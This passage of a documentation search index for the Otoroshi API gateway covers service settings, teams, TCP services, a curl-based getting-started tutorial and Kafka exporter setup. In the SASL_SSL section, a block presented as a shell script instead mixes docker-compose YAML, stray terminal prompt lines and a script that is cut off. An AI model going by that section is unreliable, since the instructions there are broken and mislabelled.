@link[Access-Control-Allow-Origin](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Origin) { open=new }\n* @link[Access-Control-Max-Age](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age) { open=new }\n* @link[Access-Control-Allow-Methods](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Methods) { open=new }\n* @link[Access-Control-Allow-Headers](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Allow-Headers) { open=new }\n\n### JWT tokens verification\n\n* `Verifiers`: list of selected verifiers to apply on the service\n* `Enabled`: if enabled, Otoroshi will enabled each verifier of the previous list\n* `Excluded patterns`: list of routes where the verifiers will not be apply\n\n### Pre Routing\n\nThis part has been deprecated and moved to the plugin section.\n\n### Access validation\nThis part has been deprecated and moved to the plugin section.\n\n### Gzip support\n\n* `Mimetypes allowed list`: gzip only the files that are matching to a format in the list\n* `Mimetypes blocklist`: will not gzip files matching to a format in the list. A possible way is to allowed all format by default by setting a `*` on the `Mimetypes allowed list` and to add the unwanted format in this list.\n* `Compression level`: the compression level where 9 gives us maximum compression but at the slowest speed. The default compression level is 5 and is a good compromise between speed and compression ratio.\n* `Buffer size`: chunking up a stream of bytes into limited size\n* `Chunk threshold`: if the content type of a request reached over the threshold, the response will be chunked\n* `Excluded patterns`: by default, when gzip is enabled, everything has gzip. But sometimes you need to exlude something, so just add regex to matching path you want to exlude.\n\n### Client settings\n\n* `Use circuit breaker`: use a circuit breaker to avoid cascading failure when calling chains of services. Highly recommended !\n* `Cache connections`: use a cache at host connection level to avoid reconnection time\n* `Client attempts`: specify how many times the client will retry to fetch the result of the request after an error before giving up.\n* `Client call timeout`: specify how long each call should last at most in milliseconds.\n* `Client call and stream timeout`: specify how long each call should last at most in milliseconds for handling the request and streaming the response.\n* `Client connection timeout`: specify how long each connection should last at most in milliseconds.\n* `Client idle timeout`: specify how long each connection can stay in idle state at most in milliseconds.\n* `Client global timeout`: specify how long the global call (with retries) should last at most in milliseconds.\n* `C.breaker max errors`: specify how many errors can pass before opening the circuit breaker\n* `C.breaker retry delay`: specify the delay between two retries. Each retry, the delay is multiplied by the backoff factor\n* `C.breaker backoff factor`: specify the factor to multiply the delay for each retry\n* `C.breaker window`: specify the sliding window time for the circuit breaker in milliseconds, after this time, error count will be reseted\n\n#### Custom timeout settings (list)\n\n* `Path`: the path on which the timeout will be active\n* `Client connection timeout`: specify how long each connection should last at most in milliseconds.\n* `Client idle timeout`: specify how long each connection can stay in idle state at most in milliseconds.\n* `Client call and stream timeout`: specify how long each call should last at most in milliseconds for handling the request and streaming the response.\n* `Call timeout`: Specify how long each call should last at most in milliseconds.\n* `Client global timeout`: specify how long the global call (with retries) should last at most in milliseconds.\n\n#### Proxy settings\n\n* `Proxy host`: host of proxy behind the identify provider\n* `Proxy port`: port of proxy behind the identify provider\n* `Proxy principal`: user of proxy \n* `Proxy password`: password of proxy\n\n### HTTP Headers\n\n* `Additional Headers In`: specify headers that will be added to each client request (from Otoroshi to target). Useful to add authentication.\n* `Additional Headers Out`: specify headers that will be added to each client response (from Otoroshi to client).\n* `Missing only Headers In`: specify headers that will be added to each client request (from Otoroshi to target) if not in the original request.\n* `Missing only Headers Out`: specify headers that will be added to each client response (from Otoroshi to client) if not in the original response.\n* `Remove incoming headers`: remove headers in the client request (from client to Otoroshi).\n* `Remove outgoing headers`: remove headers in the client response (from Otoroshi to client).\n* `Security headers`:\n* `Utility headers`:\n* `Matching Headers`: specify headers that MUST be present on client request to route it (pre routing). Useful to implement versioning.\n* `Headers verification`: verify that some headers has a specific value (post routing)\n\n### Additional settings \n\n* `OpenAPI`: specify an open API descriptor. Useful to display the documentation\n* `Tags`: specify tags for the service\n* `Metadata`: specify metadata for the service. Useful for analytics\n* `IP allowed list`: IP address that can access the service\n* `IP blocklist`: IP address that cannot access the service\n\n### Canary mode\n\n* `Enabled`: Canary mode enabled\n* `Traffic split`: Ratio of traffic that will be sent to canary targets. For instance, if traffic is at 0.2, for 10 request, 2 request will go on canary targets and 8 will go on regular targets.\n* `Targets`: The list of target that Otoroshi will proxy and expose through the subdomain defined before. Otoroshi will do round-robin load balancing between all those targets with circuit breaker mecanism to avoid cascading failures\n * `Target`:\n * `Targets root`: Otoroshi will append this root to any target choosen. If the specified root is '/api/foo', then a request to https://yyyyyyy/bar will actually hit https://xxxxxxxxx/api/foo/bar\n* `Campaign stats`:\n* `Use canary targets as standard targets`:\n\n### Healthcheck settings\n\n* `HealthCheck enabled`: to help failing fast, you can activate healthcheck on a specific URL.\n* `HealthCheck url`: the URL to check. Should return an HTTP 200 response. You can also respond with an 'Opun-Health-Check-Logic-Test-Result' header set to the value of the 'Opun-Health-Check-Logic-Test' request header + 42. to make the healthcheck complete.\n\n### Fault injection\n\n* `User facing app.`: if service is set as user facing, Snow Monkey can be configured to not being allowed to create outage on them.\n* `Chaos enabled`: activate or deactivate chaos setting on this service descriptor.\n\n### Custom errors template\n\n* `40x template`: html template displayed when 40x error occurred\n* `50x template`: html template displayed when 50x error occurred\n* `Build mode template`: html template displayed when the build mode is enabled\n* `Maintenance mode template`: html template displayed when the maintenance mode is enabled\n* `Custom messages`: override error message one by one\n\n### Request transformation\n\nThis part has been deprecated and moved to the plugin section.\n\n### Plugins\n\n* `Plugins`:\n \n * `Inject default config`: injects, if present, the default configuration of a selected plugin in the configuration object\n * `Documentation`: link to the documentation website of the plugin\n * `show/hide config. panel`: shows and hides the plugin panel which contains the plugin description and configuration\n* `Excluded patterns`: by default, when plugins are enabled, everything pass in. But sometimes you need to exclude something, so just add regex to matching path you want to exlude.\n* `Configuration`: the configuration of each enabled plugin, split by names and grouped in the same configuration object." + }, + { + "name": "service-groups.md", + "id": "/entities/service-groups.md", + "url": "/entities/service-groups.html", + "title": "Service groups", + "content": "# Service groups\n\nA service group is composed of an unique `id`, a `Group name`, a `Group description`, an `Organization` and a `Team`. As all Otoroshi resources, a service group have a list of tags and metadata associated.\n\n@@@ div { .centered-img }\n\n@@@\n\nThe first instinctive usage of service group is to group a list of services. \n\nWhen it's done, you can authorize an api key on a specific group. Instead of authorize an api key for each service, you can regroup a list of services together, and give authorization on the group (read the page on the api keys and the usage of the `Authorized on.` field).\n\n## Access to the list of service groups\n\nTo visualize and edit the list of groups, you can navigate to your instance on the `https://otoroshi.xxxxx/bo/dashboard/groups` route or click on the cog icon and select the Service groups button.\n\nOnce on the page, you can create a new item, edit an existing service group or delete an existing one.\n\n> When a service group is deleted, the resources associated are not deleted. On the other hand, the service group of associated resources is let empty.\n\n" + }, + { + "name": "tcp-services.md", + "id": "/entities/tcp-services.md", + "url": "/entities/tcp-services.html", + "title": "TCP services", + "content": "# TCP services\n\nTCP service are special kind of otoroshi services meant to proxy pure TCP connections (ssh, database, http, etc)\n\n## Global information\n\n* `Id`: generated unique identifier\n* `TCP service name`: the name of your TCP service\n* `Enabled`: enable and disable the service\n* `TCP service port`: the listening port\n* `TCP service interface`: network interface listen by the service\n* `Tags`: list of tags associated to the service\n* `Metadata`: list of metadata associated to the service\n\n## TLS\n\nthis section controls the TLS exposition of the service\n\n* `TLS mode`\n * `Disabled`: no TLS\n * `PassThrough`: as the target exposes TLS, the call will pass through otoroshi and use target TLS\n * `Enabled`: the service will be exposed using TLS and will chose certificate based on SNI\n* `Client Auth.`\n * `None` no mTLS needed to pass\n * `Want` pass with or without mTLS\n * `Need` need mTLS to pass\n\n## Server Name Indication (SNI)\n\nthis section control how SNI should be treated\n\n* `SNI routing enabled`: if enabled, the server will use the SNI hostname to determine which certificate to present to the client\n* `Forward to target if no SNI match`: if enabled, a call without any SNI match will be forward to the target\n* `Target host`: host of the target called if no SNI\n* `Target ip address`: ip of the target called if no SNI\n* `Target port`: port of the target called if no SNI\n* `TLS call`: encrypt the communication with TLS\n\n## Rules\n\nfor any listening TCP proxy, it is possible to route to multiple targets based on SNI or extracted http host (if proxying http)\n\n* `Matching domain name`: regex used to filter the list of domains where the rule will be applied\n* `Target host`: host of the target\n* `Target ip address`: ip of the target\n* `Target port`: port of the target\n* `TLS call`: enable this flag if the target is exposed using TLS\n" + }, + { + "name": "teams.md", + "id": "/entities/teams.md", + "url": "/entities/teams.html", + "title": "Teams", + "content": "# Teams\n\nIn Otoroshi, all resources are attached to an `Organization` and a `Team`. \n\nA team is composed of an unique `id`, a `name`, a `description` and an `Organization`. As all Otoroshi resources, a Team have a list of tags and metadata associated.\n\nA team have an unique organization and can be use on multiples resources (services, api keys, etc ...).\n\nA connected user on Otoroshi UI has a list of teams and organizations associated. It can be helpful when you want restrict the rights of a connected user.\n\n@@@ div { .centered-img }\n\n@@@\n\n## Access to the list of teams\n\nTo visualize and edit the list of teams, you can navigate to your instance on the `https://otoroshi.xxxxxx/bo/dashboard/teams` route or click on the cog icon and select the teams button.\n\nOnce on the page, you can create a new item, edit an existing team or delete an existing one.\n\n> When a team is deleted, the resources associated are not deleted. On the other hand, the team of associated resources is let empty.\n\n## Entities location\n\nAny otoroshi entity has a location property (`_loc` when serialized to json) explaining where and by whom the entity can be seen. \n\nAn entity can be part of multiple teams in an organization\n\n```javascript\n{\n \"_loc\": {\n \"tenant\": \"tenant-1\",\n \"teams\": [\n \"team-1\",\n \"team-2\"\n ]\n }\n ...\n}\n```\n\nor all teams\n\n```javascript\n{\n \"_loc\": {\n \"tenant\": \"tenant-1\",\n \"teams\": [\n \"*\"\n ]\n }\n ...\n}\n```" + }, + { + "name": "features.md", + "id": "/features.md", + "url": "/features.html", + "title": "Features", + "content": "# Features\n\n**Traffic Management**\n\n* Can proxy any HTTP(s) service (apis, webapps, websocket, etc)\n* Can proxy any TCP service (app, database, etc)\n* Can proxy any GRPC service\n* Multiple load-balancing options: \n * RoundRobin\n * Random, Sticky\n * Ip address hash\n * Best Response Time\n* Distributed in-flight request limiting\t\n* Distributed rate limiting \n* End-to-end HTTP/1.1 support\n* End-to-end H2 support\n* End-to-end H3 support\n* Traffic mirroring\n* Traffic capture\n* Canary deployments\n* Relay routing \n* Tunnels for easier network exposition\n* Error templates\n\n**Routing**\n\n* Router can support ten of thousands of concurrent routes\n* Router support path params extraction (can be regex validated)\n* Routing based on \n * method\n * hostname (exact, wildcard)\n * path (exact, wildcard)\n * header values (exact, regex, wildcard)\n * query param values (exact, regex, wildcard)\n* Support full url rewriting\n\n**Routes customization**\n\n* Dozens of built-in middlewares (policies/plugins) \n * circuit breakers\n * automatic retries\n * buffering\n * gzip\n * headers manipulation\n * cors\n * body transformation\n * graphql gateway\n * etc \n* Support middlewares compiled to WASM (using extism)\n* Support Open Policy Agent policies for traffic control\n* Write your own custom middlewares\n * in scala deployed as jar files\n * in whatever language you want that can be compiled to WASM\n\n**Routes Monitoring**\n\n* Active healthchecks\n* Route state for the last 90 days\n* Calls tracing using W3C trace context\n* Export alerts and events to external database\n * file\n * S3\n * elastic\n * pulsar\n * kafka\n * webhook\n * mailer\n * logger\n* Real-time traffic metrics\n* Real-time traffic metrics (Datadog, Prometheus, StatsD)\n\n**Services discovery**\n\n* through DNS\n* through Eureka 2\n* through Kubernetes API\n* through custom otoroshi protocol\n\n**API security**\n\n* Access management with apikeys and quotas\n* Automatic apikeys secrets rotation\n* HTTPS and TLS\n* End-to-end mTLS calls \n* Routing constraints\n* Routing restrictions\n* JWT tokens validation and manipulation\n * can support multiple validator on the same routes\n\n**Administration UI**\n\n* Manage and organize all resources\n* Secured users access with Authentication module\n* Audited users actions\n* Dynamic changes at runtime without full reload\n* Test your routes without any external tools\n\n**Webapp authentication and security**\n\n* OAuth2.0/2.1 authentication\n* OpenID Connect (OIDC) authentication\n* LDAP authentication\n* JWT authentication\n* OAuth 1.0a authentication\n* SAML V2 authentication\n* Internal users management\n* Secret vaults support\n * Environment variables\n * Hashicorp Vault\n * Azure key vault\n * AWS secret manager\n * Google secret manager\n * Kubernetes secrets\n * Izanami\n * Spring Cloud Config\n * Http\n * Local\n\n**Certificates management**\n\n* Dynamic TLS certificates store \n* Dynamic TLS termination\n* Internal PKI\n * generate self signed certificates/CAs\n * generate/sign certificates/CAs/subCAs\n * AIA\n * OCSP responder\n * import P12/certificate bundles\n* ACME / Let's Encrypt support\n* On-the-fly certificate generation based on a CA certificate without request loss\n* JWKS exposition for public keypair\n* Default certificate\n* Customize mTLS trusted CAs in the TLS handshake\n\n**Clustering**\n\n* based on a control plane/data plane pattern\n* encrypted communication\n* backup capabilities to allow data plane to start without control plane reachable to improve resilience\n* relay routing to forward traffic from one network zone to others\n* distributed web authentication accross nodes\n\n**Performances and testing**\n\n* Chaos engineering\n* Horizontal Scalability or clustering\n* Canary testing\n* Http client in UI\n* Request debugging\n* Traffic capture\n\n**Kubernetes integration**\n\n* Standard Ingress controller\n* Custom Ingress controller\n * Manage Otoroshi resources from Kubernetes\n* Validation of resources via webhook\n* Service Mesh for easy service-to-service communication (based on Kubernetes sidecars)\n\n**Organize**\n\n* multi-organizations\n* multi-teams\n* routes groups\n\n**Developpers portal**\n\n* Using @link:[Daikoku](https://maif.github.io/daikoku/manual/index.html) { open=new }\n" + }, + { + "name": "getting-started.md", + "id": "/getting-started.md", + "url": "/getting-started.html", + "title": "Getting Started", + "content": "# Getting Started\n\n- [Protect your service with Otoroshi ApiKey](#protect-your-service-with-otoroshi-apikey)\n- [Secure your web app in 2 calls with an authentication](#secure-your-web-app-in-2-calls-with-an-authentication)\n\nDownload the latest jar of Otoroshi\n```sh\ncurl -L -o otoroshi.jar 'https://github.com/MAIF/otoroshi/releases/download/v16.15.4/otoroshi.jar'\n```\n\nOnce downloading, run Otoroshi.\n```sh\njava -Dotoroshi.adminPassword=password -jar otoroshi.jar \n```\n\nYes, that command is all it took to start it up.\n\n## Protect your service with Otoroshi ApiKey\n\n
\nRoute plugins:\nApikeys\n
\n\nCreate a new route, exposed on `http://myapi.oto.tools:8080`, which will forward all requests to the mirror `https://mirror.otoroshi.io`.\n\n```sh\ncurl -X POST http://otoroshi-api.oto.tools:8080/api/routes \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"name\": \"myapi\",\n \"frontend\": {\n \"domains\": [\"myapi.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"mirror.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.ApikeyCalls\",\n \"enabled\": true,\n \"config\": {\n \"validate\": true,\n \"mandatory\": true,\n \"update_quotas\": true\n }\n }\n ]\n}\nEOF\n```\n\nNow that we have created our route, let’s see if our request reaches our upstream service. \nYou should receive an error from Otoroshi about a missing api key in our request.\n\n```sh\ncurl 'http://myapi.oto.tools:8080'\n```\n\nIt looks like we don’t have access to it. Create your first api key with a quota of 10 calls by day and month.\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/apikeys' \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"clientId\": \"my-first-apikey-id\",\n \"clientSecret\": \"my-first-apikey-secret\",\n \"clientName\": \"my-first-apikey\",\n \"description\": \"my-first-apikey-description\",\n \"authorizedGroup\": \"default\",\n \"enabled\": true,\n \"throttlingQuota\": 10,\n \"dailyQuota\": 10,\n \"monthlyQuota\": 10\n}\nEOF\n```\n\nCall your api with the generated apikey.\n\n```sh\ncurl 'http://myapi.oto.tools:8080' -u my-first-apikey-id:my-first-apikey-secret\n```\n\n```json\n{\n \"method\": \"GET\",\n \"path\": \"/\",\n \"headers\": {\n \"host\": \"mirror.otoroshi.io\",\n \"accept\": \"*/*\",\n \"user-agent\": \"curl/7.64.1\",\n \"authorization\": \"Basic bXktZmlyc3QtYXBpLWtleS1pZDpteS1maXJzdC1hcGkta2V5LXNlY3JldA==\",\n \"otoroshi-request-id\": \"1465298507974836306\",\n \"otoroshi-proxied-host\": \"myapi.oto.tools:8080\",\n \"otoroshi-request-timestamp\": \"2021-11-29T13:36:02.888+01:00\",\n },\n \"body\": \"\"\n}\n```\n\nCheck your remaining quotas\n\n```sh\ncurl 'http://myapi.oto.tools:8080' -u my-first-apikey-id:my-first-apikey-secret --include\n```\n\nThis should output these following Otoroshi headers\n\n```json\nOtoroshi-Daily-Calls-Remaining: 6\nOtoroshi-Monthly-Calls-Remaining: 6\n```\n\nKeep calling the api and confirm that Otoroshi is sending you an apikey exceeding quota error\n\n\n```json\n{ \n \"Otoroshi-Error\": \"You performed too much requests\"\n}\n```\n\nWell done, you have secured your first api with the apikeys system with limited call quotas.\n\n## Secure your web app in 2 calls with an authentication\n\n
\nRoute plugins:\nAuthentication\n
\n\nCreate an in-memory authentication module, with one registered user, to protect your service.\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/auths' \\\n-H \"Otoroshi-Client-Id: admin-api-apikey-id\" \\\n-H \"Otoroshi-Client-Secret: admin-api-apikey-secret\" \\\n-H 'Content-Type: application/json; charset=utf-8' \\\n-d @- <<'EOF'\n{\n \"type\":\"basic\",\n \"id\":\"auth_mod_in_memory_auth\",\n \"name\":\"in-memory-auth\",\n \"desc\":\"in-memory-auth\",\n \"users\":[\n {\n \"name\":\"User Otoroshi\",\n \"password\":\"$2a$10$oIf4JkaOsfiypk5ZK8DKOumiNbb2xHMZUkYkuJyuIqMDYnR/zXj9i\",\n \"email\":\"user@foo.bar\",\n \"metadata\":{\n \"username\":\"roger\"\n },\n \"tags\":[\"foo\"],\n \"webauthn\":null,\n \"rights\":[{\n \"tenant\":\"*:r\",\n \"teams\":[\"*:r\"]\n }]\n }\n ],\n \"sessionCookieValues\":{\n \"httpOnly\":true,\n \"secure\":false\n }\n}\nEOF\n```\n\nThen create a service secure by the previous authentication module, which proxies `google.fr` on `webapp.oto.tools`.\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \\\n-H \"Content-type: application/json\" \\\n-u admin-api-apikey-id:admin-api-apikey-secret \\\n-d @- <<'EOF'\n{\n \"name\": \"myapi\",\n \"frontend\": {\n \"domains\": [\"myapi.oto.tools\"]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"google.fr\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.next.plugins.AuthModule\",\n \"enabled\": true,\n \"config\": {\n \"pass_with_apikey\": false,\n \"auth_module\": null,\n \"module\": \"auth_mod_in_memory_auth\"\n }\n }\n ]\n}\nEOF\n```\n\nNavigate to http://webapp.oto.tools:8080, login with `user@foo.bar/password` and check that you're redirect to `google` page.\n\nWell done! You completed the discovery tutorial." + }, + { + "name": "communicate-with-kafka.md", + "id": "/how-to-s/communicate-with-kafka.md", + "url": "/how-to-s/communicate-with-kafka.html", + "title": "Communicate with Kafka", + "content": "# Communicate with Kafka\n\nEvery matching event can be sent to an [Apache Kafka topic](https://kafka.apache.org/).\n\n### SASL mechanism\n\nCreate a `docker-compose.yml` with the following content\n\n````yml\nversion: \"2\"\n\nservices:\n zookeeper:\n image: docker.io/bitnami/zookeeper:3.8\n ports:\n - \"2181:2181\"\n environment:\n - ALLOW_ANONYMOUS_LOGIN=yes\n kafka:\n image: docker.io/bitnami/kafka:3.2\n ports:\n - \"9092:9092\"\n environment:\n - KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181\n - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=INTERNAL:PLAINTEXT,CLIENT:SASL_PLAINTEXT\n - ALLOW_PLAINTEXT_LISTENER=yes\n - KAFKA_CFG_LISTENERS=INTERNAL://:9093,CLIENT://:9092\n - KAFKA_CFG_ADVERTISED_LISTENERS=INTERNAL://kafka:9093,CLIENT://kafka:9092\n - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=INTERNAL\n - KAFKA_CLIENT_USERS=user\n - KAFKA_CLIENT_PASSWORDS=password\n\n depends_on:\n - zookeeper\n````\n\nLaunch the command to create the zookeeper and kafka containers\n\n````bash\ndocker-compose up -d\n````\n\nCreate a new exporter on your Otoroshi instance with the following values\n\n@@@ div { .centered-img }\n\n@@@\n\n### PLAINTEXT mechanism\n\nCreate a `docker-compose.yml` with the following content\n\n````yml\nversion: \"2\"\n\nservices:\n zookeeper:\n image: docker.io/bitnami/zookeeper:3.8\n ports:\n - \"2181:2181\"\n environment:\n - ALLOW_ANONYMOUS_LOGIN=yes\n kafka:\n image: docker.io/bitnami/kafka:3.2\n ports:\n - \"9092:9092\"\n environment:\n - KAFKA_CFG_ZOOKEEPER_CONNECT=zookeeper:2181\n - KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP=INTERNAL:PLAINTEXT,CLIENT:PLAINTEXT\n - ALLOW_PLAINTEXT_LISTENER=yes\n - KAFKA_CFG_LISTENERS=INTERNAL://:9093,CLIENT://:9092\n - KAFKA_CFG_ADVERTISED_LISTENERS=INTERNAL://kafka:9093,CLIENT://kafka:9092\n - KAFKA_CFG_INTER_BROKER_LISTENER_NAME=INTERNAL\n\n depends_on:\n - zookeeper\n````\n\nLaunch the command to create the zookeeper and kafka containers\n\n````bash\ndocker-compose up -d\n````\n\nCreate a new exporter on your Otoroshi instance with the following values\n\n@@@ div { .centered-img }\n\n@@@\n\n### SSL mechanism\n\n````bash\nwget https://raw.githubusercontent.com/confluentinc/confluent-platform-security-tools/master/kafka-generate-ssl.sh\n````\n\n````bash\nchmod +x kafka-generate-ssl.sh\n````\n\nCreate a `docker-compose.yml` with the following content\n\n````yml\nversion: '3.5'\n\nservices:\n\n zookeeper:\n image: \"wurstmeister/zookeeper:latest\"\n ports:\n - \"2181:2181\"\n\n kafka:\n image: wurstmeister/kafka:2.12-2.2.0\n depends_on:\n - zookeeper\n ports:\n - \"9092:9092\"\n environment:\n KAFKA_ADVERTISED_LISTENERS: 'SSL://kafka:9092'\n KAFKA_LISTENERS: 'SSL://0.0.0.0:9092'\n KAFKA_AUTO_CREATE_TOPICS_ENABLE: 'true'\n KAFKA_ZOOKEEPER_CONNECT: 'zookeeper:2181'\n KAFKA_SSL_KEYSTORE_LOCATION: '/keystore/kafka.keystore.jks'\n KAFKA_SSL_KEYSTORE_PASSWORD: 'otoroshi'\n KAFKA_SSL_KEY_PASSWORD: 'otoroshi'\n KAFKA_SSL_TRUSTSTORE_LOCATION: '/truststore/kafka.truststore.jks'\n KAFKA_SSL_TRUSTSTORE_PASSWORD: 'otoroshi'\n KAFKA_SSL_ENDPOINT_IDENTIFICATION_ALGORITHM: ''\n KAFKA_CFG_SSL_ENDPOINT_IDENTIFICATION_ALGORITHM: ''\n KAFKA_SECURITY_INTER_BROKER_PROTOCOL: 'SSL'\n volumes:\n - ./truststore:/truststore\n - ./keystore:/keystore\n````\n\nLaunch the command to create the zookeeper and kafka containers\n\n````bash\ndocker-compose up -d\n````\n\nCreate a new exporter on your Otoroshi instance with the following values\n\n@@@ div { .centered-img }\n\n@@@\n\n### SASL_SSL mechanism\n\nGenerate the TLS certificates for the Kafka broker.\n\nCreate a file `generate.sh` with the following content and run the command\n\n````bash\nchmod +x generate.sh && ./generate.sh\n````\n\n````bash\n# Content of the generate.sh file\n\nversion: '3.5'\n\nservices:\n\n zookeeper:\n image: \"bitnami/zookeeper:latest\"\n ports:\n - \"2181:2181\"\n environment:\n - ALLOW_ANONYMOUS_LOGIN=yes\n\n kafka:\n image: bitnami/kafka:latest\n depends_on:\n - zookeeper\n ports:\n - '9092:9092'\n environment:\n ALLOW_PLAINTEXT_LISTENER: 'yes'\n KAFKA_ZOOKEEPER_PROTOCOL: 'PLAINTEXT'\n KAFKA_CFG_ZOOKEEPER_CONNECT: 'zookeeper:2181'\n KAFKA_CFG_LISTENER_SECURITY_PROTOCOL_MAP: 'INTERNAL:PLAINTEXT,CLIENT:SASL_SSL'\n KAFKA_CFG_LISTENERS: 'INTERNAL://:9093,CLIENT://:9092'\n KAFKA_INTER_BROKER_LISTENER_NAME: 'INTERNAL'\n KAFKA_CFG_ADVERTISED_LISTENERS: 'INTERNAL://kafka:9093,CLIENT://kafka:9092'\n KAFKA_CLIENT_USERS: 'user'\n KAFKA_CLIENT_PASSWORDS: 'password'\n KAFKA_CERTIFICATE_PASSWORD: 'otoroshi'\n KAFKA_TLS_TYPE: 'JKS'\n KAFKA_OPTS: \"-Djava.security.auth.login.config=/opt/kafka/kafka_server_jaas.conf\"\n volumes:\n - ./secrets/kafka_server_jaas.conf:/opt/kafka/kafka_server_jaas.conf\n - ./truststore/kafka.truststore.jks:/opt/bitnami/kafka/config/certs/kafka.truststore.jks:ro\n - ./keystore/kafka.keystore.jks:/opt/bitnami/kafka/config/certs/kafka.keystore.jks:ro\n 79966b@PMP00131  ~/Downloads/kafka_ssl_setup-master \n 79966b@PMP00131  ~/Downloads/kafka_ssl_setup-master  cat generate.sh\n#!/usr/bin/env bash\n\nset -e\n\nKEYSTORE_FILENAME=\"kafka.keystore.jks\"\nVALIDITY_IN_DAYS=3650\nDEFAULT_TRUSTSTORE_FILENAME=\"kafka.truststore.jks\"\nTRUSTSTORE_WORKING_DIRECTORY=\"truststore\"\nKEYSTORE_WORKING_DIRECTORY=\"keystore\"\nCA_CERT_FILE=\"ca-cert\"\nKEYSTORE_SIGN_REQUEST=\"cert-file\"\nKEYSTORE_SIGN_REQUEST_SRL=\"ca-cert.srl\"\nKEYSTORE_SIGNED_CERT=\"cert-signed\"\n\nfunction file_exists_and_exit() {\n echo \"'$1' cannot exist. Move or delete it before\"\n echo \"re-running this script.\"\n exit 1\n}\n\nif [ -e \"$KEYSTORE_WORKING_DIRECTORY\" ]; then\n file_exists_and_exit $KEYSTORE_WORKING_DIRECTORY\nfi\n\nif [ -e \"$CA_CERT_FILE\" ]; then\n file_exists_and_exit $CA_CERT_FILE\nfi\n\nif [ -e \"$KEYSTORE_SIGN_REQUEST\" ]; then\n file_exists_and_exit $KEYSTORE_SIGN_REQUEST\nfi\n\nif [ -e \"$KEYSTORE_SIGN_REQUEST_SRL\" ]; then\n file_exists_and_exit $KEYSTORE_SIGN_REQUEST_SRL\nfi\n\nif [ -e \"$KEYSTORE_SIGNED_CERT\" ]; then\n file_exists_and_exit $KEYSTORE_SIGNED_CERT\nfi\n\necho\necho \"Welcome to the Kafka SSL keystore and truststore generator script.\"\n\necho\necho \"First, do you need to generate a trust store and associated private key,\"\necho \"or do you already have a trust store file and private key?\"\necho\necho -n \"Do you need to generate a trust store and associated private key? [yn] \"\nread generate_trust_store\n\ntrust_store_file=\"\"\ntrust_store_private_key_file=\"\"\n\nif [ \"$generate_trust_store\" == \"y\" ]; then\n if [ -e \"$TRUSTSTORE_WORKING_DIRECTORY\" ]; then\n file_exists_and_exit $TRUSTSTORE_WORKING_DIRECTORY\n fi\n\n mkdir $TRUSTSTORE_WORKING_DIRECTORY\n echo\n echo \"OK, we'll generate a trust store and associated private key.\"\n echo\n echo \"First, the private key.\"\n echo\n echo \"You will be prompted for:\"\n echo \" - A password for the private key. Remember this.\"\n echo \" - Information about you and your company.\"\n echo \" - NOTE that the Common Name (CN) is currently not important.\"\n\n openssl req -new -x509 -keyout $TRUSTSTORE_WORKING_DIRECTORY/ca-key \\\n -out $TRUSTSTORE_WORKING_DIRECTORY/$CA_CERT_FILE -days $VALIDITY_IN_DAYS\n\n trust_store_private_key_file=\"$TRUSTSTORE_WORKING_DIRECTORY/ca-key\"\n\n echo\n echo \"Two files were created:\"\n echo \" - $TRUSTSTORE_WORKING_DIRECTORY/ca-key -- the private key used later to\"\n echo \" sign certificates\"\n echo \" - $TRUSTSTORE_WORKING_DIRECTORY/$CA_CERT_FILE -- the certificate that will be\"\n echo \" stored in the trust store in a moment and serve as the certificate\"\n echo \" authority (CA). Once this certificate has been stored in the trust\"\n echo \" store, it will be deleted. It can be retrieved from the trust store via:\"\n echo \" $ keytool -keystore -export -alias CARoot -rfc\"\n\n echo\n echo \"Now the trust store will be generated from the certificate.\"\n echo\n echo \"You will be prompted for:\"\n echo \" - the trust store's password (labeled 'keystore'). Remember this\"\n echo \" - a confirmation that you want to import the certificate\"\n\n keytool -keystore $TRUSTSTORE_WORKING_DIRECTORY/$DEFAULT_TRUSTSTORE_FILENAME \\\n -alias CARoot -import -file $TRUSTSTORE_WORKING_DIRECTORY/$CA_CERT_FILE\n\n trust_store_file=\"$TRUSTSTORE_WORKING_DIRECTORY/$DEFAULT_TRUSTSTORE_FILENAME\"\n\n echo\n echo \"$TRUSTSTORE_WORKING_DIRECTORY/$DEFAULT_TRUSTSTORE_FILENAME was created.\"\n\n # don't need the cert because it's in the trust store.\n rm $TRUSTSTORE_WORKING_DIRECTORY/$CA_CERT_FILE\nelse\n echo\n echo -n \"Enter the path of the trust store file. \"\n read -e trust_store_file\n\n if ! [ -f $trust_store_file ]; then\n echo \"$trust_store_file isn't a file. Exiting.\"\n exit 1\n fi\n\n echo -n \"Enter the path of the trust store's private key. \"\n read -e trust_store_private_key_file\n\n if ! [ -f $trust_store_private_key_file ]; then\n echo \"$trust_store_private_key_file isn't a file. Exiting.\"\n exit 1\n fi\nfi\n\necho\necho \"Continuing with:\"\necho \" - trust store file: $trust_store_file\"\necho \" - trust store private key: $trust_store_private_key_file\"\n\nmkdir $KEYSTORE_WORKING_DIRECTORY\n\necho\necho \"Now, a keystore will be generated. Each broker and logical client needs its own\"\necho \"keystore. This script will create only one keystore. Run this script multiple\"\necho \"times for multiple keystores.\"\necho\necho \"You will be prompted for the following:\"\necho \" - A keystore password. Remember it.\"\necho \" - Personal information, such as your name.\"\necho \" NOTE: currently in Kafka, the Common Name (CN) does not need to be the FQDN of\"\necho \" this host. However, at some point, this may 